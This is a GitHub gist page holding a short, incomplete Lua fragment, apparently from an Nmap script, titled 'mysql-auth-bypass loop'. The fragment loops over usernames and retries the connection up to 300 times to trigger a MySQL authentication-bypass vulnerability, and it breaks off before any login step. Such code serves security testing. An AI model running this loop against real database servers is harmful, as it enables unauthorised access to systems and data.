Skip to content

Instantly share code, notes, and snippets.

@marcwickenden
Created June 12, 2012 15:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save marcwickenden/2918117 to your computer and use it in GitHub Desktop.
Save marcwickenden/2918117 to your computer and use it in GitHub Desktop.
mysql-auth-bypass loop
for username in usernames do
stdnse.print_debug( "Trying %s ...", username )
-- try up to 300 times to trigger the vuln
for i = 0, 300, 1 do
stdnse.print_debug(2, "attempt number %d", i )
local status, response = socket:connect(host, port)
if( not(status) ) then return " \n ERROR: Failed to connect to mysql server" end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment